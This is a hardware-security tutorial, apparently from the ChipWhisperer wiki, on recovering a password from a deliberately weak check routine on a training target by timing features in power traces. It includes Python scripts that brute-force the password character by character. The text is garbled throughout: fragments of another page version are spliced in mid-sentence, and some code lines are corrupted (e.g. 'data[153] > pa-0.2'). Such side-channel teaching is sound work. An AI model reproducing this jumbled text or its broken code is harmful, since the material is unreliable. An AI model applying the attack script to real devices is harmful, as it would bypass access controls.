{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 5 release. If you are using 4.x.x or 3.x.x see the "V4" or "V3" link in the sidebar.}}
<!-- To edit this, edit Template:Tutorial_boilerplate -->
{{Tutorial boilerplate}}
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis* Jupyter file: '''PA_SPA_1-Timing_Analysis_with_Power_for_Password_Bypass.ipynb'''
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.== XMEGA Target ==
If you want to get a rough idea, there is a video of See the V3 of the tutorial following for using:* ChipWhisperer-Lite Classic (which differs from the V4 versionXMEGA). See [https:* ChipWhisperer-Lite Capture + XMEGA Target on UFO Board (including NAE-SCAPACK-L1//www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version L2 users)* ChipWhisperer-Pro + XMEGA Target on YouTube]:UFO Board
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the == ChipWhisperer interface.-Lite ARM / STM32F3 Target ==
= Building See the following for using:* ChipWhisperer-Lite 32-bit (STM32F3 Target Firmware =)* ChipWhisperer-Lite Capture + STM32F3 Target on UFO Board (including NAE-SCAPACK-L1/L2 users)* ChipWhisperer-Pro + STM32F3 Target on UFO Board
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck<https:/code>/chipwhisperer. Build the firmware using <code>make<readthedocs.io/code>, once again being careful to ensure you are using the correct <code>PLATFORM=<en/code> commandlatest/tutorials/pa_spa_1-openadc-cwlitearm. You should end up with something like this being printed:html#tutorial-pa-spa-1-openadc-cwlitearm
Size afterSee the following for using:AVR Memory Usage* ChipWhisperer----------------Device: atxmega128d3Nano
Programhttps: 5400 bytes (3.9% Full)(.text + .data + .bootloader)Data: 524 bytes (6.4% Full)(.data + .bss + .noinit)Built for platform CW-Lite XMEGA-------- end --------</pre>= Manual Communications with the Target =At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<ol style="list-style-type: decimal;"><li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><li>Start ChipWhisperer-Capture</li><li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><li>Check there are no errors on the connection.</li><li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><li>Both the Target & Scope should switch to ''CON'' and be green circles.</li><li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><dl><dt>Note a few warnings about the terminal emulator:</dt><dd><ul><li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><li>You can uncheck the "Show non-ASCII as hex" to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul></dd></dl></li><li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><blockquote><p>'''tip'''</p><p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><li><p>Using the terminal emulator, write the correct password in, and press <code><enter></code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><p>[[File:Passok.png|image]]</p></li><li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol>= Recording Power Traces =Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <ol style="list-style-type: decimal;"><li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><blockquote><ul><li>Offset = 0</li><li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><p>[[File:Timeout_offset.png|image]]</p></blockquote></li><li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<li><p>Perform the following actions:</p><blockquote><ol style="list-style-type: lower-roman;"><li>Reset the target device (e.g. by performing the signature check).</li><li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code><enter></code> to send the password.</li></ol></blockquote><p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><li><p>Now perform the following actions:</p><blockquote><ol style="list-style-type: lower-roman;"><li>Reset the target device (e.g. by performing the signature check).</li><li>Press the ''Capture 1'' button.</li></ol></blockquote><p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><ul><li><code>h0px3\n</code></li><li><code>h0px4\n</code></li><li><code>h0paa\n</code></li><li><code>haaaa\n</code></li><li><code>a\n</code></li></ul><p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol>= Automatic Resets =The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.== Reset via Spare IO Lines ==TODO - see reset via programming interface for now== Reset via Auxiliary Module ==Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<ol style="list-style-type: decimal;"><li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br>[[File:auxreset_test1.png|600px]]</li><li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br>[[File:auxreset_test2.png|400px]]</li><li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<syntaxhighlight lang=python>from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173# GUI compatibilitytry: aux_list = self.aux_listexcept NameError: pass# Delay between arming and resetting, in msdelay_ms = 1000# Reset XMEGA deviceResetter = ResetCW1173(xmega=True, delay_ms=delay_ms)# Reset AVR#Resetter = ResetCW1173(xmega=False, delay_ms=delay_ms)# Reset before arming - more stableaux_list.register(Resetter.resetThenDelay, "before_trace")# Reset after arming - scope can catch entire reset#aux_list.register(Resetter.delayThenReset, "after_arm")</syntaxhighlight><li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.</li></ol>Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.= Performing the Timing Attack =So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.== Scripting the Setup ==Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<ol style="list-style-type: decimal;"><li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else</li><li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><pre>scope.gain.gain = 45scope.adc.samples = 25000scope.adc.offset = 0scope.adc.basic_mode = "rising_edge"scope.clock.clkgen_freq = 7370000scope.clock.adc_src = "clkgen_x4"scope.trigger.triggers = "tio4"scopereadthedocs.io.tio1 = "serial_rx"scope.io.tio2 = "serial_tx"scope.io.hs2 = "clkgen"</pre><p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:<en/p><pre>>>> self.scopecwlite Devicegain = mode = low gain = 45 db = 22.50390625adc = state = False basic_mode = rising_edge timeout = 2 offset = 0 presamples = 0 samples = 25000 decimate = 1 trig_count = 3084728877clock = adc_src = clkgen_x4 adc_phase = 0 adc_freq = 29538459 adc_rate = 29538459 adc_locked = True freq_ctr = 0 freq_ctr_src = extclk clkgen_src = system extclk_freq = 10000000 clkgen_mul = 2 clkgen_div = 26 clkgen_freq = 7384615 clkgen_locked = Truetrigger = triggers = tio4 module = basicio = tio1 = serial_rx tio2 = serial_tx tio3 = high_z tio4 = high_z pdid = high_z pdic = high_z nrst = high_z glitch_hp = 0 glitch_lp = 0 extclk_src = hs1 hs2 = clkgen target_pwr = Trueglitch = clk_src = target width = 10.15625 width_fine = 0 offset = 10.15625 offset_fine = 0 trigger_src = manual arm_timing = after_scope ext_offset = 0 repeat = 1 output = clock_xor<latest/pre><tutorials/li></ol><ol start="4" style="listpa_spa_1-stylecwnano-type: decimal;"><li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resetscwnano. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><p>Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<syntaxhighlight lang=python>>>> targetinit_cmd = key_cmd = k$KEY$\ninput_cmd = go_cmd = p$TEXT$\noutput_cmd = r$RESPONSE$\nbaud = 38400protver = </syntaxhighlight></p></li><li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<syntaxhighlight lang=python>target.key_cmd = ''target.go_cmd = ''target.output_cmd = ''</syntaxhighlight></li><li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<syntaxhighlight lang=python>from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173Resetter = ResetCW1173(xmega=True, delay_ms=1200)aux_list.register(Resetter.resetThenDelay, "before_trace")</syntaxhighlight></li><li><p>Finally, we will set the password. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li></ol>== Running a Single Capture ==With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here:* <code> self.api.capture1()</code> acts as if we've just pressed the ''Capture 1'' button;* <code> self.api.getScope().channels[0].getTrace()</code> returns a list of datapoints that were recorded in the previous capture.We want to test these two commands. After the setup portion of your script, add some code similar to the following:<pre>self.api.capture1()data = self.api.getScope().channels[0].getTrace()print data</pre>Run your script. The ChipWhisperer should automatically capture one trace and print out the several thousand datapoints. (Note that output of <code>print</code> statements may go to the ''Debug Logging'' tab in the GUI.) This is all we need to continue.== Attacking a Single Letter ==Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<li><p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this html#tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p></li><li> Add a loop to your script that does the following:* Sets the ''Go Command'' to the next character we want to try* Captures a power trace* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)* Repeats for all characters we want to tryAn example of this loop is:<pre>trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'for c in trylist: # Test this password and record a power trace self.api.setParameter(['Simple Serial', 'Go Command', c + '\n']) self.api.capture1() # Get the data and check data[153] data = self.api.getScope().channels[0].getTrace() if data[153] > pa-0.2: print "Success: " + c </pre>This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!</li>== Attacking the Full Password ==The last step is to attack the entire password, one letter at a time. The procedure to do this is:* Start with a blank password string* Loop through all of the characters we want to try:** Add the next character to the end of the password** Test this new candidate password using code similar to the above** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password* Repeat until we've cracked all 5 characters.Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.An example of this loop is:<pre>password = ''trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'for i in range(5): for c in trylist: # Get a power trace using our next attempt nextPass = password + '{}'.format(c) self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)]) self.api.capture1() # Grab the trace nextTrace = self.api.getScope().channels[0].getTrace() # Check location 153, 225, etc. If it's too low, we've failed if nextTrace[153 + 72*i] < spa-0.2: continue # If we got here, we've found the right letter password += c print '{} characters: {}'.format(i+1, password) break</pre>After some time, this prints <code>5 characters: h0px3</code> -cwnano- it automatically finds the correct password.That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.* The current script doesn't look for the "WELCOME" message when the password is OK. That is an extension that allows it to crack any size password.* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.= Conclusion =This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.= Appendix: Completed Timing Attack Script =The <code>run()</code> function at the end of the tutorial might look something like the following:<pre> def run(self): # This is the function that gets called when our script starts # First: set up the basics and connect to the CW-Lite self.api.setParameter(['Generic Settings', 'Scope Module', 'ChipWhisperer/OpenADC']) self.api.setParameter(['Generic Settings', 'Target Module', 'Simple Serial']) self.api.setParameter(['Generic Settings', 'Trace Format', 'ChipWhisperer/Native']) self.api.setParameter(['Simple Serial', 'Connection', 'ChipWhisperer-Lite']) self.api.setParameter(['ChipWhisperer/OpenADC', 'Connection', 'ChipWhisperer-Lite']) self.api.connect() # Next: set up everything we need to connect to the target # Put all of our commands in a list and execute them at the end lstexample = [ # Gain ['OpenADC', 'Gain Setting', 'Setting', 45], # Trigger ['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'], ['OpenADC', 'Trigger Setup', 'Offset', 0], ['OpenADC', 'Trigger Setup', 'Total Samples', 2000], # Clock ['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0], ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'], ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None], # Pins ['CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True], ['CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'], ['CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'], ['CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'], # Automatic commands ['Simple Serial', 'Load Key Command', ''], ['Simple Serial', 'Go Command', 'h0px3\n'], ['Simple Serial', 'Output Format', ''], # Auto-reset ['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite'], ['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay (Post-Arm)', 1200], ] #Download all hardware setup parameters for cmd in lstexample: self.api.setParameter(cmd) # Get one capture for fun self.api.capture1() data = self.api.getScope().channels[0].getTrace() print data # Crack the first letter password = '' trylist = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(5): for c in trylist: # Get a power trace using our next attempt nextPass = password + '{}'.format(c) self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)]) self.api.capture1() # Grab the trace nextTrace = self.api.getScope().channels[0].getTrace() # Check location 153, 225, etc. If it's too low, we've failed if nextTrace[153 + 72*i] < -0.2: continue # If we got here, we've found the right letter password += c print '{} characters: {}'.format(i+1, password) break</pre>{{Template:Tutorials}}[[Category:Tutorials]]cwnano